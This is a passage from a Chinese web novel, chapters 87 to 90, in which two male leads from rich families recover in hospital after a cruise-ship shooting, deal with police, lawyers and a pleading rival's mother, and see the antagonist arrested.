陈一诺转身看他,一脸不解:“大家都是男的,你怎么就长得……那么全面!” 陈宗礼挑眉:“老陈家的基因比较好吧。” 他手指勾起陈一诺松垮的病服裤子,往里看,评价道:“其实……你们老古家的基因也还行。” 陈一诺没想到陈宗礼会这样,立刻捂住腹部,不经意牵扯到伤口,“什么还行!!我这就是巨/物!是你太……嘶……疼……” 看他龇牙咧嘴,陈宗礼不敢抱了,把人送回病床躺好,安慰道:“嗯嗯,是我不正常,基因突变,行了吧。” 陈一诺躺在床上,四处打量病房。 病房里除了沙发,也没地方能睡了。但沙发是双人沙发,以陈宗礼的身高肯定腿都伸不直。也不知道过去七天怎么熬过来的。 他抿了抿嘴,问道:“陈宗礼,你别睡沙发,上来跟我一起睡吧。” 陈宗礼定定看着他:“影响你休息,算了吧。再说,万一巡房被发现了怎么办?” 虽然,这间病房在角落,一般没有人会来,可还是难免会有护士走动,万一……那传出去可是大新闻。 陈一诺不解:“刚刚我给你那什么的时候,你就不怕突然有护士冲进来?” 陈宗礼不是不在意,而是觉得刺激……但这癖好,他不打算让陈一诺知道。 于是妥协:“行,一起睡。” …… 病床确实不大,但由于是VIP病房,比起普通病床还是宽敞不少,堪堪够他们侧躺。 距离近了,陈一诺才发现陈宗礼的味道颇具侵略性,那股淡淡的红茶味居然盖过消毒水味,千丝万缕地萦绕在他们之间,勾得陈一诺心痒。 他的手指勾了勾陈宗礼的,问道:“你刚刚是不是吓到了,没想过我会那样吧。” 陈宗礼把手放到他肚子上,捏了捏:“是没想过,你什么时候学的?” 陈一诺想展示自己博学,不屑:“这还要学?我那是无师自通,天赋异禀。” 毕竟活了两辈子,没见过猪跑还没吃过猪肉么? 况且,连CrazySnack都去过的人,这点基础知识还是了解的。 陈宗礼骂他一句“不要脸”,陈一诺转过身,缠着问:“那,舒不舒服?” 陈宗礼也转过身,跟他面面相对,知道陈一诺皮又痒,故意撩他。 他也故意:“要是不舒服,最后你能被呛成那样?” 撩人么谁不会? 陈一诺的喉咙一紧,刚刚那种灭顶的窒息感涌上心头。 他咳嗽了几声,生硬地转移话题:“你说,接下来,贺朝阳会怎样?” 陈宗礼不让他转,问道:“这种时候聊贺朝阳,合适么?” 陈一诺嘀咕着:“再不转移话题,换我有反/y了……” 陈宗礼拨弄着他的卷发,也不撩了,回答道:“对我们家,他故意伤害肯定跑不掉。但李家纯的事有些棘手。毕竟家丑不能外扬,但李家纯成植物人的事,还是要给董事会、股东一个交代,具体怎么告,律师团还在考虑。” 陈一诺点头:“那宏发那么大一个集团,秦伯母和思维姐,能搞定么?” 陈宗礼叹气:“前几天在医院遇见李思维,挺疲惫的。她是有这份野心的,但长期培养和突然接手始终不同。” “你也知道,豪门传承一直是个难题,财产继承都是最简单的,公司业务花点时间早晚也能上手。最难的是关系。” 他这么说,陈一诺瞬间明白了。 宏发集团那么大的庞然大物,里面的董事、供应商、合作方……各种关系,林林总总,错中复杂。 大多数豪门,要么像陈宗礼,从小到大跟在陈老太身边培养,每个关系挨个交接。无论对内对外,都知道陈宗礼继承者的身份。所以,陈宗礼接手天峻,过度期相对丝滑。 要么像陈一诺,一手建立自己的公司,各种关系以他为中心往外辐射。关系网铺展的广度和深度,取决于陈一诺本人的能力。像滚雪球越滚越大,关系越交织越深。 可李思维的情况跟他们都不一样。她从小就不被李家纯认可,这些关系当然也落不到她手上。她又不像陈一诺,彻底独立,靠自己在商场赤手空拳积攒自己的人脉。 她的LS酒店背靠宏发,策展公司也只都在起步阶段,这时,丢下来整个宏发集团,过去的经验、人脉都不能复用,自然手忙脚乱。 陈一诺叹气:“所以,奥莱集团那边,她应该没法帮忙了。” 虽然还在病床上,聊起港城的局势变得如此复杂,陈一诺也跟着发愁。 本来以为,邮轮上帮了李家纯,他能在反垄断的事情上出面调停,让起诉到此为止。 殊不知,李家纯成了植物人。李思维忙得手忙脚乱,自顾不暇,就算她愿意帮,奥莱的Frank也不卖她的帐。 陈宗礼安慰道:“放心,应该还有方法的。再说,FTC未必能告赢。” 提前焦虑没有意义,陈一诺也只能道:“也是。不想了。” “但思维姐要怎么办?你不打算帮帮她?” 陈宗礼曲起手指刮他鼻尖:“陈宗瑜那八卦精没跟你说?” “邮轮那晚后,有人把李思维跟庄宝瑶的恋情泄漏给了记者。加上这段时间,她们多次被拍到一起进出医院,恋情已经坐实了。” “现在整个港城都知道,我跟李思维这对昔日豪门童话,只是友情幌子。我要是这时候去帮她,那才是害了她。” 陈一诺皱眉:“那么快就泄漏出去了?邮轮上不是没记者么?” “而且,还是同性恋情,宏发股票岂不是要跌停?” 陈宗礼叹了口气:“跌停两天了,这点李思维倒是看得开,她说,反正都乱成这样了,干脆一乱到底,再慢慢反弹了。” 陈一诺笑道:“也是,置之死地而后生。” 他们还聊了很多,聊着聊着,陈一诺察觉陈宗礼久久没说话,呼吸声也变得均匀。 陈一诺凑到他面前,在黑暗中打量对方。兴许是太累了,平日的锋利、威严消散了许多。他的手紧搂着陈一诺的腰,有些紧,怕他跑了似的。 陈一诺往前凑了凑,在他唇上留下一个吻,陈宗礼本来皱紧的眉头,居然舒展开了。 陈一诺轻笑,念道:“晚安,陈宗礼。”—— 作者有话说:嘘![捂脸偷看] 第88章 “放开我!你们放开我!” 港城思域医院VIP病房外,两名保镖架着一个保洁阿姨,从陈一诺的病房外被带走。 保镖从保洁的车里取出一个针孔摄像头,递给聂加,他的狐狸眼眯了眯,弯腰道歉:“陈先生,对不起,是我们疏忽。” 邮轮事件发生后,不少记者想突破保镖防线,到病房内拿第一手资料。这周已经被抓好几个了,不想居然还有漏网之鱼,跑到病房来了。幸好陈宗礼察觉这个阿姨行为可疑,把人拦在门口。 陈宗礼警告:“下不为例。” 聂加点头:“明白,陈先生。” …… 病房内,陈一诺正在吃早餐,电视里正直播港城新闻。 “各位观众,我是TVA特派记者霍小花。我目前位于港城思域医院门外,可以看见,保安把医院各个出口看守得非常严格。” “12月10日晚,“维多利一号”邮轮上举办俪妍会慈善派对,当晚,接近三百名宾客被邀请出席。其中,港城四大家族中,陈宗礼家族,李家纯家族、贺朗家族成员均有到场。” “12月11日凌晨,“维多利一号”邮轮在返航期间发生暴力事件,邮轮上一度爆发枪战,多名乘客受伤,受伤名单包括:俪妍会名誉会长冷翠英女士、宏发集团董事长李家纯先生、建盛集团副总经理贺朝阳先生、一星集团执行总裁陈一诺先生等。伤员第一时间被送往我身后的港城思域医院。” “事件发生的第八天,“维多利一号”的母集团——宏发集团,宣布将于今天中午,召开第二次记者招待会,汇报事件后续情况,TVA记者霍小花报道。” “唰——” 陈宗礼推开房门,陈一诺正喝着牛奶,被他突然闯进吓得手指用力一捏,黑框眼镜和脸上无一幸免被喷了牛奶,十分狼狈。 陈一诺摘下眼镜,抱怨道:“你吓死我了……”然后眯着眼睛,在餐桌上盲人摸纸。 陈宗礼看他满脸的牛奶,顿时想起一些不可描述的画面,心猿意马地拿纸巾帮他擦干净。 陈一诺重新戴上眼镜,问道:“刚刚那个是记者?” 陈宗礼咬了口苹果:“嗯,消息泄漏得太快了,你昨天醒他们今天就派人过来偷拍。警察知道你醒了,今天想跟你录口供。” 陈一诺意料之中地点头:“嗯,有什么该说不该说的,要提前告诉我,我们后面跟贺朝阳不是还有官司要打?” 陈宗礼笑了:“嗯,王律已经在路上。他亲自跟你说。” 王之初抵达病房的时候,依然是娃娃脸配大人西装,只是最近太累,娃娃脸上也开始有黑眼圈了。 看见陈一诺,居然还红了眼眶,黑红黑红的,很滑稽。 陈一诺看老朋友这副模样,心头一软:“哎哟,老王,我没死呢,别哭了别哭了~看不出来你还挺关心我啊……” 眼泪滴到眼镜上,王之初擦完眼泪,擦眼镜,嘴上抱怨:“你没死!我快了!” “这几天,我身兼数职,每天睡不到2小时!你再不醒,我就要暴毙在你隔壁床。” 上一秒,陈一诺还在老王的友谊感动,听完他的控诉,脸上表情非常复杂。 坐在沙发旁办公的陈宗礼,甚至发出一声嘲笑。 果然,友情在睡眠面前,一文不值。 他摸摸鼻子,安慰道:“哎哟,知道你辛苦了!今天开始,工作交回给我!保证你每天7小时睡眠!” “咳咳!” 沙发上的陈宗礼突然咳嗽了两声,王之初继续满脸哀愁。 “今天开始?你想,你哥也不让!来之前,他警告我了,你至少要休息一周才能恢复正常工作。如果我不答应,就不让我来。” 陈一诺默默撇了陈宗礼一眼,很快又回头看王之初:“那就没办法了,你再熬一周!加油别猝死!” 王之初叹了口气:“烦死了,怎么就中枪的不是我呢?!”嘴上抒发着不满,身体还是诚实地打开笔记本电脑,开始汇报。 “本来,下周的反垄断第二阶段问询,需要你出庭,鉴于你现在受伤,我们跟法庭申请了延后,所以,我们争取多了一周时间。” 昨天还跟陈宗礼抱怨反垄断案,没想到居然真的有转机!因祸得福多了一周时间拖延。 陈一诺:“那好,我们趁这段时间,想出替代李家纯跟奥莱集团讲和的办法。” 坐在沙发上的陈宗礼,一心二用,边听着他们汇报工作,边看助理小童发来资料。 其中,有一份名叫《奥斯康家族名录》,上面记载着奥斯康家族成员的情况。他打开从上往下看,其中一个名字吸引了他的注意。 他把那个人截图发给小童,并留言:这人是奥斯康家族??? 小童:根据资料,是的。 陈宗礼:今天内,给我这个人的详细资料。 …… 警察在王之初到来后的一小时走进病房,在律师陪同下,陈一诺谨慎地录了两小时口供。 王之初带着陈一诺签字的文件跟警察一起离开。 陈宗礼收起电脑,问陈一诺:“医生上午给老太太做了全身检查,现在应该出结果了,要一起去听听吗?” 陈一诺本来有点累,听说能探望老太太,精神忽然就来了,应道:“去!” 虽然,思域的VIP病房数量不多,但医院还是按男女分开不同楼层安置,老太太的病房在陈一诺的楼上。 陈宗礼找护士要了一辆轮椅,陈一诺看着轮椅,不满道:“我是上半身中枪,下半身又没事,坐轮椅干嘛呀?让老太太看着,觉得我挺严重的。” 陈宗礼手搭在轮椅靠背上,郑重道:“你昏迷了七天,差2厘米击中心脏,你不是挺严重,是本来就很严重。” 陈一诺叹了口气,转身坐上轮椅:“好好好。我从鬼门关回来,要脚不沾地,备受呵护!” 他整理好坐姿,手指前方,朝陈宗礼发号司令:“出发!” …… 陈老太的病房比陈一诺的还要宽敞,容纳探病的家属自然更多。 陈一诺到的时候,发现陈家大大小小都到齐了。 主治医生拿着体检报告眉头紧锁,旁边的陈家人跟着心惊肉跳。 上辈子,老太太骤然离世,陈一诺始终不在身边,为此,对她身体状态一知半解。 重生后,每回问起老太太的身体状况,都被冷翠英“嘻嘻哈哈”糊弄过去。 如今看见医生的神色,陈一诺忍不住问:“医生,我奶奶情况到底这么样了?” 医生抬抬眼镜,看着坐在床上的老太太,语重心长:“这几天观察,老太太的脑震荡基本无碍,其他部位的检查结果也都不错,但是……” 一听说“但是”两个字,所有人都倒吸一口凉气,呼吸骤停。 医生说:“她的体重有点超标!” “老太太,我上次跟你说过,你不能再偷吃甜点了,看看你的体重,这七天胖了十斤呐……” 在场所有听着这句,提到嗓子眼的心堪堪放下,嘴角的笑意却压都压不下去。 老太太面子挂不住了,生气道:“医生,你太片面了!胖的原因很多啊,未必就是吃甜点吗!可能是因为进补多了呢,或者是这几天卧床没运动呢……” 陈宗瑜道:“前天,你让我去周老板那里,买了半打燕窝蛋挞。” 兰姨:“昨天,秦太太来探病,给你烤了一个戚风蛋糕。一个下午就没了。” 陈宗礼:“还有月饼。你昨天还问我,12月份哪里还能吃上月饼。” 老太太强势的狡辩,比不过家属们更强势的补刀。 众叛亲离的老太太,怒不可遏。 四十来岁的主治医生,扬眉吐气。 他抓到老太太的小辫子,挨个数落:“燕窝蛋挞、戚风蛋糕还有月饼,全是高油高糖高脂肪,您这个年纪代谢慢,这样对身体真的很不好!” “目前,你的血糖已经到达临界点,万一得了糖尿病,后果可是很严重的哦。” “这事,我也不是第一次劝你了,之前每次劝你你都不听,我只能趁人齐,让你的家人一起监管了!” 吴淑芬无奈地劝道:“妈,你听听医生的,都七十了,少吃几口吧……” 老太太不满:“都七十了!现在不吃,等我死了以后吃吗?” 老太太非常擅长仗着自己年龄,给自己找理由。 虽然很荒谬,可这个逻辑确实无懈可击。 所有人只能沉默:“……” 陈一诺凑到陈宗礼耳边低声说:“我说呢,利园那次聚餐,蛋挞那么难吃,居然光盘,原来是老太太吃光了。还有这回晚宴,他们主桌的手指泡芙也是空的! 陈宗礼失笑地摇摇头:“老太太年轻的时候要保持身材,一直严格控制饮食,沾糖的东西一点不碰。现在越老越小了。去年体检,兰姨说,老太太一次补了5颗蛀牙。” 陈一诺咬牙:“亏我还担心老太太查出什么重大疾病,结果成了重大抓包现场。” 老太太拍了拍病床:“你们要不再大点声呢?我只是胖了,不是聋了,我听得见!” 陈一诺跟陈宗礼立刻分开,陈一诺狗腿地解释道:“没有没有,我刚还跟我哥说呢,老太太一点看不出来胖,但是咱们还是得听医嘱。像医生说的,万一得了糖尿病,可就麻烦了。” 陈宗礼也应:“对啊,你现在只要控制好量,偶尔吃点甜食完全没问题。等得了糖尿病,别说甜食不能吃,连肠粉、虾饺,这些含淀粉的都要控制。到时候,更难受。” 两个孙子晓之以理,陈宗瑜红着眼眶动之以情。 “就是啊,医生劝您,兰姨管您,我们惦记您,不都是想让您活久一点吗,你想想李叔,六十多就成植物人了……” 老太太还嘴硬:“我跟他不一样!他是走火入魔,我是享受生活。” 很难想象的商场上叱咤风云的陈老太,会为了吃甜食,不择手段地胡编乱造。 但作为家里的小幺孙,本来就受宠,如今眼含泪水,一副我见犹怜的模样看着陈老太,也是让人心软。 陈老太扫视着房间里的人,摆摆手:“行了行了,别一唱一和的了,我少吃还不行吗……” 病房里的所有人,顿时松一口气。 这时,病房外传来一阵喧哗:“陈老太,我要见陈老太!你们让开!” 陈宗礼朝门外看了眼,一个女人企图冲进病房,被聂加他们拦在门外。 他回头跟老太太道:“奶奶,是贺太太。” 陈宗瑜皱眉:“她来做什么?我们还没找她算账呢,她自己倒送上门来了?” 老太太叹了口气:“想替儿子求情吧。” 陈宗礼点头:“应该是,警察刚过来跟一诺录了口供,接着准备带贺朝阳回警局羁留。” “估计贺太太是为了这件事而来,不如,我们别管了……” 老太太摆摆手:“以吴丹妮的性格,一次过说清楚了,比什么都好。把人喊进来吧!” 陈宗礼跟陈一诺对视一眼,点头:“好!” 第89章 陈宗礼跟门外的保镖对了个眼神,保镖立刻往旁侧让了一步。 吴丹妮看见空隙,立刻冲进病房,几乎扑倒在老太太的床边:“老太太,英姨,你帮帮我……” “英姨”,是十几年前,她跟吴丹妮还是小姑娘时对冷翠英的称呼。 让人想起儿时情感的称呼,搭配梨花带雨的哭腔,一下子让老太太心软了。 医生只管病人身体,不管豪门乱斗,拿着病历就要走,临走前叮嘱:“病人情绪不宜激动!病房里也不要吵闹!” 兰姨把吴丹妮从病床旁拉开,冷着脸呵斥道:“贺太太听见了吧?” “老太太情绪不能激动,病房也不能吵闹!你收拾好情绪慢慢说!” 吴丹妮知道兰姨虽说是个佣人,但在陈家地位仅次于老太太,对她的话敢怒不敢言,只好把脸上的眼泪收了,涨红着脸。 陈宗礼:“奶奶,我们先出去?” 老太太把留下:“丹妮也是咱们家远房亲戚,那晚的事你们也在场,都留下来听听。” 于是,所有人又都留了下来。 吴丹妮本想跟老太太单独说话,以为能说服老太太,其他人还就不敢有意见。结果老太太不愿意,她只好当着陈家所有人的面,硬着头皮往下说。 练了那么多年,吴丹妮早成“人精”了,能练到不流眼泪,说话带着哭腔的绝活:“英姨,我知道朝阳有错,不应该挟持你,还打伤了一诺,故意伤害罪我们都认。但李家纯是自己受不了刺激,才变成植物人的。” “秦若霜两母女,怎么能报警说他故意谋杀呢!李家纯倒下之前,还想杀他呢,当时,你们都看见了!” “老太太,秦若霜最听你的,你帮帮我,我们私下和解。只要你帮我,我这边立刻撤销对宗礼的控诉。怎么样?” 吴丹妮能跟贺朗成为夫妻,自然不是等闲之辈。 找人求情,没找陈宗礼,也没找有血缘关系的吴淑芬,直接找到陈老太,用她最看重的嫡孙要挟,让她帮忙斡旋。还企图把贺朝阳的刑事责任从故意杀人,降至故意伤害。 陈宗瑜忍不住了,抢在老太太面前发话:“什么故意伤害,他就是杀人未遂!” “表姑妈,你是不是忘了,李家纯成植物人都是你儿子害的,还枪击我一诺哥哥,挟持我奶奶,一个昏迷七天,一个脑震荡!他们还活着是因为命大!不然,他已经是个杀人犯了!” “你居然厚颜无耻到调转枪头告我哥!还想用这件事作为交换,跟奶奶谈条件!你没事吧!” 来之前,吴丹妮已经准备好话术应对老太太的刁难。万万没想到,第一个朝她开骂的居然是被陈家保护得最好,看似最没有攻击性的陈宗瑜。 这小妮子句句话直击要害,全是吴丹妮无法招架的问题。 看没法谈判,她索性跪在病床旁,抓着陈老太的手,哀求道:“英姨,我错了!我不是想谈条件,我就是病急乱投医。” “这件事,朝阳肯定做错了!但您看,一诺也没事了,没必要因为一个养……”养子没说完,就意识到不对,连忙找补,“反正你们家全都吉人天相。” “可朝阳……”她捂着胸口大哭,“我的朝阳断了两条腿,下半生只能当个废人,我大儿子还在监狱里。” “英姨,您也是当过母亲的,小时候你也抱过他们,给他们发过红包,你忍心看着我两个儿子都没了吗。” 吴丹妮这句话,最容易勾起为人母的恻隐之心。 陈一诺坐在轮椅上,用凉凉的目光看她,始终咬紧牙关。 他比在场所有人,都有资格回怼吴丹妮。毕竟,他亲眼见过贺家一家子如何对陈家赶尽杀绝,那时候,该杀的杀,该废的废,该卖的卖。吴丹妮的恻隐之心去哪里了呢??! 但一想到,能撤销陈宗礼的控罪,他都犹豫,何况老太太。 他舌头顶着腮,眯眼瞪着吴丹妮,这女人的攻心计,用得太妙了。 陈宗礼察觉他状态不对,用手捏着他的肩膀,他抬起头跟陈宗礼对视,发现彼此的眼中都蓄着火。 陈宗礼扯扯嘴角,像在告诉他,冷静!别担心,看老太太的。 陈老太接过兰姨递上的参茶,慢慢呷了一口,任吴丹妮低声啜泣。 等她没声音了,老太太才开口:“丹妮,你求我网开一面的时候,有没有想过,万一事情没败露,李家纯以为那真是他的儿子,若霜母女怎么办?李家怎么办?” “你家贺家是齐齐整整,李家妻离子散啊。” “再说实际的,邮轮这一夜,我这点伤就算了。一诺那孩子,差点死了。我媳妇,你堂妹差点坠海。但凡你有点常识也清楚,就算我们不追究,警察也会追究。贺朝阳是在犯罪!” “我是从小看着朝阳长大,长大就是大人,大人要清楚做人做事的界限,他有本事犯错,就要有本事承担法律责任。” “我已经是半截入土的人,难道我舍得自己的孙子为了救人进监狱?可如果,最后法官判定宗礼过当防卫,要判刑,我也只能认了。” 陈宗礼冷脸回应道:“贺太太,这招对我没用,对我奶奶更没用。贺朝阳该怎么判,就怎么判。我们绝不对帮他哪怕一点点。” 吴丹妮看自己求救无门,病急乱投医,握住现场唯一一个亲人——吴淑芬的手,眼泪的水闸又打开了。 “淑芬,你帮姐求求老太太,你也是当妈妈的,朝阳也是你侄子啊……” 毕竟也是从小玩到大的姐妹,吴淑芬难得红了眼框:“姐,做错事的人是贺朝阳,贺朝阳不来求情,贺朗不来求情,偏偏让你来求情……” “因为你跟我们有亲戚关系,因为你是女人,因为你才能说出那句:你也是当妈的。道德绑架我们。” “你也是当妈的,你跟我也都曾经是女儿,你怎么能助纣为虐,看着自己儿子利用女人的子宫要挟人?你不觉得恶心吗?” “这件事,与其求我,不如回去跟姐夫找个好点的律师团队,尽量争取让他少坐几年牢吧。” 保镖把吴丹妮拖出病房,在“吴淑芬你不得好死”,“冷翠英你小心最后的几年……”等谩骂声渐远,三个孙辈不约而同“啪啪啪——”地给吴淑芬鼓掌。 一诺:“二婶,你也太帅了!我听鸡皮疙瘩都起来了!” 陈宗瑜挽着吴淑芬:“我妈真的好棒啊!她就是在道德绑架!句句戳我心坎里!” 二婶挣扎着推开宗瑜,面露难色:“我是说爽了,可宗礼,怎么办?不会真的坐牢吧?” 陈宗礼安慰道:“焦虑也没用,尽人事听天命吧。” 陈一诺静默着看陈宗礼安慰人的模样,心里堵得慌。 …… 从老太太病房出来,陈宗礼推着陈一诺回楼下病房,刚好遇见被警察押着带走的贺朝阳。 两辆轮椅狭路相逢,谁能想到,他们有一天,会坐在轮椅上遇见。 但坐轮椅的人也有参差,他俩一个是没办法,一个是故意的。 陈一诺跟陈宗礼低声说了两句,陈宗礼便让警察通融一会儿,让他们聊聊。 警察认识陈宗礼,把陈一诺跟贺朝阳推进一个空房间里说话,他们守在门外。 两人坐在轮椅上,面对面看着彼此,他目光扫视着贺朝阳的下半身,用毯子遮盖,却掩饰不了空荡荡的下肢。 陈一诺看着他,仿佛看到上辈子的自己——不帅的版本。 陈一诺毫不客气:“贺朝阳,彻底完蛋的感觉如何?” “陈一诺,别得意太早!” 陈一诺笑了:“不早了,再晚点,你进了监狱,我连在你面前得意的机会都没了。” 浑身狠戾的贺朝阳,此时像一个“活死人”,他盯着陈一诺觉得一切都不太真实。 这段时间,他最痛苦的,就是每天醒来的时候。 他不接受自己会成为一个废人。 不接受贺朗看他时,失望的眼神。 他脑海里一直复盘,复盘自己是怎么变成这样的。 明明半年前,陈一诺回港城的时候,贺家荣登港城首富。 他们整个家族筹谋已久,蓄势待发,只等着攻陷陈家,吞掉天峻。 本来,贺朝阳想利用这条陈家的弃犬当垫脚石,让他们兄弟互相残杀,贺家渔翁得利。 殊不知,跟他的预设截然不同。 过去半年,他们设计的每一个陷阱,总会被两兄弟提前识破,然后反客为主,逐一解决。他们布下的天罗地网,最终一个接一个地,像多米诺骨牌般,兵败如山倒。 如今,他不但输了,还成了废人,即将要沦为阶下囚。 他突然开口:“有个问题,想问很久了。最开始,你是怎么察觉吴奇有问题?” 这些天,他在复盘的时候,忽然察觉,吴奇是一切变故的开始。当时,他以为只是丢了一颗棋子,谁曾想,那是败局的初露端倪。 陈一诺淡淡看着他,挑起嘴角:“那么好的问题,我怎么舍得告诉你?监狱里的日子会很长,你每天也没事做,可以好好想清楚~够你想十几年的。” 嘴上这么说,陈一诺心里想的却是:想啊,尽管想,最好日日想,夜夜想,想疯了最好。 贺朝阳三白眼里有杀意,他道:“那天,我的枪应该瞄准一点的。” 陈一诺愣了愣:“什么?” 贺朝阳冷笑:“用你的命,换我两条腿,这才划算!” 他撇了眼门外的陈宗礼,更正道:“不是,最好是我把你杀了,陈宗礼为了替你报仇,把我也杀了!我们一命换一命,他得一个杀人犯的罪名,陈家就彻底完了,这才最划算!” 陈一诺强忍着怒意,假装认同道:“是啊,确实划算~” “但我劝你还是少做梦吧!不然,梦醒过来,看见现实的自己,多难受啊!” “陈一诺!!” 贺朝阳手指抠着轮椅扶手,力道大得仿佛要抓出划痕,出于本能,他双臂用力企图撑起身体,像正常人一样站起来扑向他。 陈一诺对这种时刻太熟悉了,上辈子他无数次跟他做一样的动作,想从轮椅上蹦起来,扑向贺朝阳,用嘴把他活活咬死。 他一动不动,凉凉地看着贺朝阳:“想打我?作为过来人,给你点提示。” “第一:省省吧,别费力气。就算你臂力惊人,也站不起来!因为你已经没腿了,撑不起来!” “第二:你的余生都会困在轮椅上!到你死之前,都只能是个废人!” 他冷漠地看着贺朝阳重复着撑起的动作,有大仇得报的快感,也有看他如看上辈子自己的心酸。 最终,贺朝阳放弃了,他颓然坐在轮椅上。陈一诺把一个纸团丢到他怀里。 他拆开纸团,里面是一些书籍名称,陈一诺淡淡道:“第三:好好看看这些书,学点按摩,你在监狱里关节痛、彻夜难眠的时候,还能舒服点。” 贺朝阳把纸撕成碎片,大吼:“陈一诺!!!!” 陈一诺自己推着轮椅,头也不回地离开房间。 打开门,陈宗礼安静站在门外等着。 他笑着走到陈一诺身后,慢慢把他推走。一个眼神都没有分给身后那位“歇斯底里”的疯子。 …… 警车的声音慢慢远去,医院获得了短暂的宁静。 陈宗礼把陈一诺推到医院的后花园里,找了一张长凳晒太阳。 冬日的暖阳,像一只温暖的大手,抚慰着每个人,把他们的毛都捋顺了,坏情绪自然也消失殆尽。 陈一诺看着面前一望无际的草地,感叹道:“我第一次来思域检查,就是你从赌场把我救出来那次。我检查完,也被庄嘉轩推来这里。这么多年,好像都没变。” 陈宗礼挑眉,也在慢慢回忆:“那次啊……他说我什么坏话了?” 陈一诺转头看他:“他还真有说你,不过不是坏话。” “当时,我问他,那个揍我的长毛,后来怎么样了。他说,你以牙还牙给他敲了个酒瓶,还烧了他的车。” “他还说,得罪陈宗礼的人,就没见过有好下场的。” 陈一诺转头看他,想着贺朝阳断了的双腿,喃喃:“他评价很中肯。” 陈宗礼忽然问:“贺朝阳都被抓了,为什么你的情绪还那么低落?担心我?” 陈一诺没想到,陈宗礼居然察觉到他情绪的低落。 陈一诺长舒一口气:“一部分确实是担心你,另一部分,我还不知道……” 明明已经大仇得报,大反派有应有的下场,他的心情还是闷闷的。 陈宗礼捏捏他的手:“不知道就不知道吧。有些事,无需非要弄清楚。某一天自己就想通了。” 陈一诺抿着嘴:“你觉得,你会有事吗?”说的是陈宗礼过当防御的事。 陈宗礼轻声笑道:“不是说了吗,尽人事听天命。” 他们眺望着草地的远处,不知谁扔出一个红蓝相间的小球,一只白色卷毛小狗快速追上,在球落地前起跳,把球咬紧带给主人。 主人再次把球扔远,小狗又一次重复刚刚的动作,跑得不亦乐乎。 “也有例外的。” 陈一诺专注地看着小狗,没反应过来:“什么?” 陈宗礼继续道:“得罪陈宗礼的人,就没见过有好下场,也有例外的。” 没想到陈宗礼说的这个。陈一诺反问:“谁啊?” 陈宗礼看着叼着小球,骄傲往回跑的小狗:“你啊,你就得罪过我。” “第一次赛车,你赢了,还破了记录,甚至用520的成绩羞辱我!” “你下场就挺好的。” 陈一诺摸了摸鼻子,开玩笑:“该不会,你那时候就看上我了吧?!” 陈宗礼沉思,刚刚还说有些事无需搞清楚,这不,突然就搞清楚了一件事。 他笑眯眯道:“对,你摘下头盔的瞬间,我就喜欢上你了!”—— 作者有话说:大反派再-1,就差一个要收拾的了。[捂脸偷看] 第90章 “各位观众,我是TVA特派记者霍小花。全港热议的“维多利一号”事件,今日又有新进展。” “鉴于该案件涉案人员复杂,社会高度关注,相关部门日以继夜进行侦破。其中,贺某涉嫌意图谋杀,警方目前已搜出完整证据链,犯罪嫌疑人贺某已依法刑事拘留。而另一位嫌疑人陈某,在警方搜证过程中,其行为被定性为“正当防卫”,目前警方已撤销对陈某的检控……” 一周前…… 吴丹妮在求情无效后,不肯善罢甘休,在贺朝阳被捕后,多次向警方施压。于是,陈宗礼也收到警方配合调查的拘留“邀请”。 当时警方的拘留公告写得隐晦,但港城“四大家族”中,贺家二少和陈太子,同时涉嫌“故意杀人”被警方拘捕的消息一经传出,港媒瞬间爆炸。 由“天之骄子”变“阶下囚”,这新闻,谁能忍得住不八一八? 舆论持续发酵,全港市民的高度关注,倒逼警方加班加点侦破。终于,在事件发生的48小时后,警方对两人的指控作出公开回应。 在撤销对陈宗礼指控的消息公布后,陈宗礼被当场释放。 负责调查的黄警官说道:“Timing,这次判断你是否属于正当防卫,就是靠Timing。” “如果,你在贺朝阳开第二枪的时候开枪,或者你开枪之后,贺朝阳没开第二枪,你都属于过当防御。但我们从监控里面看到,你这个开枪时间几乎跟他开第二枪之前一点时间。” “所以,我们才敢撤案啊。” 穿戴整齐的陈宗礼看着面前的黄警官,眼里多了些人情味,毕竟,这些天多亏他的照顾。还在撤案后第一时间接他出来。 陈宗礼笑笑:“这几天辛苦黄Sir,我可以走了吗?” 黄警官:“可以!我送你出去。” 陈宗礼没动,问道:“我的保镖来了吗?” 黄警官摆摆手:“用不着保镖!才早上7点半,路上没什么人,我送你出去,直接打车走就行。” “……” 陈宗礼上斜眼定定看着他,麻烦人家好几天,这时候他也不好多说什么,只能道:“行吧。” 他们从拘留室一直走出警署大门,本应人迹罕至的街道,忽然感觉地面在震动。 就在黄警官以为是地震,朝远看,只见大批记者像飞蛾看见火一般,蜂拥而至。那阵仗,在古代是屠城,在现代就是丧尸屠城。 他下意识挡在陈宗礼前面。 陈宗礼看着扑过来的记者,早有预料似的,淡淡道:“早上7点半,路上没什么人?” 黄警官面露窘色,刚想说要不我们退回去,等你的保镖过来? 结果,“丧尸”般的记者根本不给他们往后退的机会。不过一阵功夫,已经三层外三层地把他们围在中间。 被淹没在人群里的黄警官心想:完了。 “陈先生,据说你的正当防卫,是为了防止贺朝阳二次伤害,这种说法是否属实?” “陈先生,对于此次无罪释放的判定,你有什么感想?” “接下来,目前警方判定贺朝阳故意杀人,而且牵涉到陈李两家,你认为法官会判几年呢?” 记者的提问一个接一个,好像几百只苍蝇在你耳旁飞,还用不同的麦克风往他们脸上怼。 陈宗礼海拔高还好,记者们最多怼到胸和下巴,黄警官身材偏矮,脑袋直接被砸了好几下。现场气氛相当失控和窒息。 在记者们的镜头下,刚从拘留所出来的陈宗礼神情略显憔悴,下巴一片青色胡茬。可落魄的法拉利依然是法拉利,落魄的陈宗礼在镜头前多了不少颓废的性感。 他全程没有挡脸,径自往前走。长期训练,让他在面对记者时嘴角习惯性上扬,但问题一句不回答。 这时,人群中有异动,陈宗礼停下来。警官撞上他后背问道:“怎么不走了?” 远处,一个穿着黑西装的高瘦男人打头阵,带着几个魁梧保镖,摩西分海似得把密不透风的“记者采访圈”一分为二。接着,长驱直入冲到陈宗礼身边,并以他为圆心快速构建人墙,把刚才几乎贴脸的记者,暴力隔开至少半米。 站在最前面的聂加,走向他,恭敬道:“陈先生,不好意思,我们来晚了。” 陈宗礼点头,转身对黄警官道:“黄Sir,就送到这里吧,辛苦了。” 黄警官“哦哦”了几声,停在原地朝他招手道别。 陈宗礼点了点头,带着保镖,连同那群记者,像台风过境般“哗啦啦——”地走远了。 等黄警官回神,四周依然是7点半冷清的街道。 陈宗礼走了几步,记者依旧没有离开的趋势,他转头问聂加:“他来了?” 聂加点头:“对,在车上等着了。” 陈宗礼这才流露出真心的笑容。 他被保镖们簇拥着往一个停车场走。几个保镖等陈宗礼走远后,定在入口处,把所有记者挡在停车场门外。 